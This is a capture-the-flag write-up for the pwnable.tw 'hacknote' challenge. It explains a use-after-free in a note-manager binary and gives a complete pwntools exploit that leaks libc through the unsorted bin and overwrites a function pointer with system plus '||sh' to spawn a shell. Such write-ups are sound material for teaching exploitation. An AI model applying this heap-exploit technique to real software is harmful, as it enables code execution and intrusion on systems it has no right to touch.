Challenge Description
File type
bash
| 1 | $ file hacknote |
| 2 | hacknote: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter ./ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped |
Binary Protection
bash
| 1 | $ checksec hacknote |
| 2 | [*] './hacknote' |
| 3 | Arch: i386-32-little |
| 4 | RELRO: Partial RELRO |
| 5 | Stack: Canary found |
| 6 | NX: NX enabled |
| 7 | PIE: No PIE (0x8046000) |
Background
hacknotegives us 4 operations to manage our notes:- Create a new note
- Delete an existed note
- Print a note
- Exit the program
bash
| 1 | ---------------------- |
| 2 | HackNote |
| 3 | ---------------------- |
| 4 | 1. Add note |
| 5 | 2. Delete note |
| 6 | 3. Print note |
| 7 | 4. Exit |
| 8 | ---------------------- |
| 9 | Your choice :1 |
| 10 | Note size :20 |
| 11 | Content :abc |
| 12 | Success ! |
| 13 | ---------------------- |
| 14 | HackNote |
| 15 | ---------------------- |
| 16 | 1. Add note |
| 17 | 2. Delete note |
| 18 | 3. Print note |
| 19 | 4. Exit |
| 20 | ---------------------- |
| 21 | Your choice :3 |
| 22 | Index :0 |
| 23 | abc |
| 24 | |
| 25 | ---------------------- HackNote |
| 26 | ---------------------- |
| 27 | 1. Add note |
| 28 | 2. Delete note |
| 29 | 3. Print note |
| 30 | 4. Exit |
| 31 | ---------------------- |
| 32 | Your choice :2 |
| 33 | Index :0 |
| 34 | Success |
The program saves all notes into a global array of pointer (
noteStoragevar) which has length of 5. We will explore first 3 operations:- Operation 1:
addNote()function
c1 unsigned int addNote() 2 { 3 int v0; // ebx 4 int v2; // [esp-Ch] [ebp-34h] 5 int v3; // [esp-Ch] [ebp-34h] 6 int v4; // [esp-8h] [ebp-30h] 7 int v5; // [esp-8h] [ebp-30h] 8 int v6; // [esp-4h] [ebp-2Ch] 9 int i; // [esp+Ch] [ebp-1Ch] 10 int size; // [esp+10h] [ebp-18h] 11 char buffer[8]; // [esp+14h] [ebp-14h] BYREF 12 unsigned int canary; // [esp+1Ch] [ebp-Ch] 13 14 canary = __readgsdword(0x14u); 15 if ( globalIndex <= 5 ) 16 { 17 for ( i = 0; i <= 4; ++i ) 18 { 19 if ( !noteStorage[i] ) 20 { 21 noteStorage[i] = malloc(8); 22 if ( !noteStorage[i] ) 23 { 24 puts("Alloca Error"); 25 exit(-1, v2, v4, v6); 26 } 27 *(_DWORD *)noteStorage[i] = printVal; 28 printf("Note size :"); 29 read(0, buffer, 8); 30 size = atoi(buffer); 31 v0 = noteStorage[i]; 32 *(_DWORD *)(v0 + 4) = malloc(size); 33 if ( !*(_DWORD *)(noteStorage[i] + 4) ) 34 { 35 puts("Alloca Error"); 36 exit(-1, v3, v5, v6); 37 } 38 printf("Content :"); 39 read(0, *(_DWORD *)(noteStorage[i] + 4), size); 40 puts("Success !"); 41 ++globalIndex; 42 return __readgsdword(0x14u) ^ canary; 43 } 44 } 45 } 46 else 47 { 48 puts("Full"); 49 } 50 return __readgsdword(0x14u) ^ canary; 51 } - Operation 2:
deleteNote()function
c1 unsigned int deleteNote() 2 { 3 int v1; // [esp-Ch] [ebp-24h] 4 int v2; // [esp-8h] [ebp-20h] 5 int v3; // [esp-4h] [ebp-1Ch] 6 int index; // [esp+4h] [ebp-14h] 7 char buffer[4]; // [esp+8h] [ebp-10h] BYREF 8 unsigned int canary; // [esp+Ch] [ebp-Ch] 9 10 canary = __readgsdword(0x14u); 11 printf("Index :"); 12 read(0, buffer, 4); 13 index = atoi(buffer); 14 if ( index < 0 || index >= globalIndex ) 15 { 16 puts("Out of bound!"); 17 _exit(0, v1, v2, v3); 18 } 19 if ( noteStorage[index] ) 20 { 21 free(*(_DWORD *)(noteStorage[index] + 4)); 22 free(noteStorage[index]); 23 puts("Success"); 24 } 25 return __readgsdword(0x14u) ^ canary; 26 } - Operation 3:
printNote()function
c1 unsigned int printNote() 2 { 3 int v1; // [esp-Ch] [ebp-24h] 4 int v2; // [esp-8h] [ebp-20h] 5 int v3; // [esp-4h] [ebp-1Ch] 6 int index; // [esp+4h] [ebp-14h] 7 char buffer[4]; // [esp+8h] [ebp-10h] BYREF 8 unsigned int canary; // [esp+Ch] [ebp-Ch] 9 10 canary = __readgsdword(0x14u); 11 printf("Index :"); 12 read(0, buffer, 4); 13 index = atoi(buffer); 14 if ( index < 0 || index >= globalIndex ) 15 { 16 puts("Out of bound!"); 17 _exit(0, v1, v2, v3); 18 } 19 if ( noteStorage[index] ) 20 (*(void (__cdecl **)(int))noteStorage[index])(noteStorage[index]); // call printVal() function 21 return __readgsdword(0x14u) ^ canary; 22 } - Operation 1:
The structure of a 'note' memory on heap includes the address of
printVal()function and a memory address that stores the content of note.
Vulnerability
- In
deleteNote()function, after free note, it doesn't set that pointer innoteStoragearray toNULL:
c
| 1 | if ( noteStorage[index] ) |
| 2 | { |
| 3 | free(*(_DWORD *)(noteStorage[index] + 4)); |
| 4 | free(noteStorage[index]); |
| 5 | puts("Success"); |
| 6 | } |
This leads to use-after-free vulnerability.
Exploitation
Leak Libc
- Since it allows to print the content of note, I came up with an idea that use unsorted bins to leak the address of main arena.
- First, I created 2 notes; one to get the address of main arena, one to prevent the chunk of the first one from merging into top chunk. Then I deleted the first note and added a new one which has the same size of content as the first one.
- When a chunk is put into unsorted bin, its
fdandbkpointer must point back to the list head which lives insidemain_arenastruct in libc. It still remains after that chunk is allocated again. - Therefore, I just needed to print the content of the third note to get that address, so that I calculated the libc base address
python
| 1 | addNote(0x400, b"abc") |
| 2 | addNote(0x500, b"abc") |
| 3 | deleteNote(0) |
| 4 | addNote(0x400, b"b") |
| 5 | printNote(2) |
| 6 | target.recv(4) |
| 7 | offset_1b07b0 = u32(target.recv(4)) |
| 8 | libc.address = offset_1b07b0 - 0x1b07b0 |
Get Shell
- After having libc base address, it's trivial to calculate the address of
systemfunction.
python
| 1 | system_addr = libc.symbols['system'] |
- Now we have to find where to write the address of
systemfunction and get shell. After analyzing, I decided to write it into first 4 bytes of note memory which contains the address ofprintValfunction. - To do that, I freed chunk of the second and the third note. Since size of chunk of these notes is the same and it is 8 bytes, if we allocate a new note with size of the content is 8, we will do arbitrary write to one of these 2 chunks so that we can change the address of
printValto the address ofsystemfunction. - However, when print note operation happens, it calls
printValfunction with the argument is that note pointer. If we change tosystem, it will callsystem(noteStorage[i])and whatsystemtry to execute is\xf7\xf3...which represents the exact address ofsystemfunction. This command obviously cannot be run. Therefore, to get shell, or executeshcommand in other words, I put||operation between the address ofsystemand commandsh. This makessystemfunction run\xf7\xf3...||shwhich will executeshwhen the first command is fail and it always gets shell because the first command never can be run successfully.
Exploit Code
python
| 1 | from pwn import * |
| 2 | import utils |
| 3 | |
| 4 | context.terminal = "kitty" |
| 5 | context.log_level = "debug" |
| 6 | context.arch = "i386" |
| 7 | |
| 8 | TARGET = "./bin/hacknote" |
| 9 | LIBC = "./lib/libc_32.so.6" |
| 10 | |
| 11 | target = process(TARGET) |
| 12 | target = remote("chall.pwnable.tw", 10102) |
| 13 | # gdb.attach(target, gdbscript="b *0x8048a33") |
| 14 | |
| 15 | exe = ELF(TARGET) |
| 16 | libc = ELF(LIBC) |
| 17 | |
| 18 | def addNote(size: int, content: bytes): |
| 19 | target.sendafter(b"Your choice :", b"1") |
| 20 | target.sendafter(b"Note size :", str(size).encode()) |
| 21 | target.sendafter(b"Content :", content) |
| 22 | |
| 23 | def deleteNote(index: int): |
| 24 | target.sendafter(b"Your choice :", b"2") |
| 25 | target.sendafter(b"Index :", str(index).encode()) |
| 26 | |
| 27 | def printNote(index: int): |
| 28 | target.sendafter(b"Your choice :", b"3") |
| 29 | target.sendafter(b"Index :", str(index).encode()) |
| 30 | |
| 31 | addNote(0x400, b"abc") |
| 32 | addNote(0x500, b"abc") |
| 33 | deleteNote(0) |
| 34 | addNote(0x400, b"b") |
| 35 | printNote(2) |
| 36 | target.recv(4) |
| 37 | offset_1b07b0 = u32(target.recv(4)) |
| 38 | libc.address = offset_1b07b0 - 0x1b07b0 |
| 39 | system_addr = libc.symbols['system'] |
| 40 | deleteNote(1) |
| 41 | deleteNote(2) |
| 42 | addNote(8, p32(system_addr) + b"||sh") |
| 43 | printNote(1) |
| 44 | |
| 45 | target.interactive() |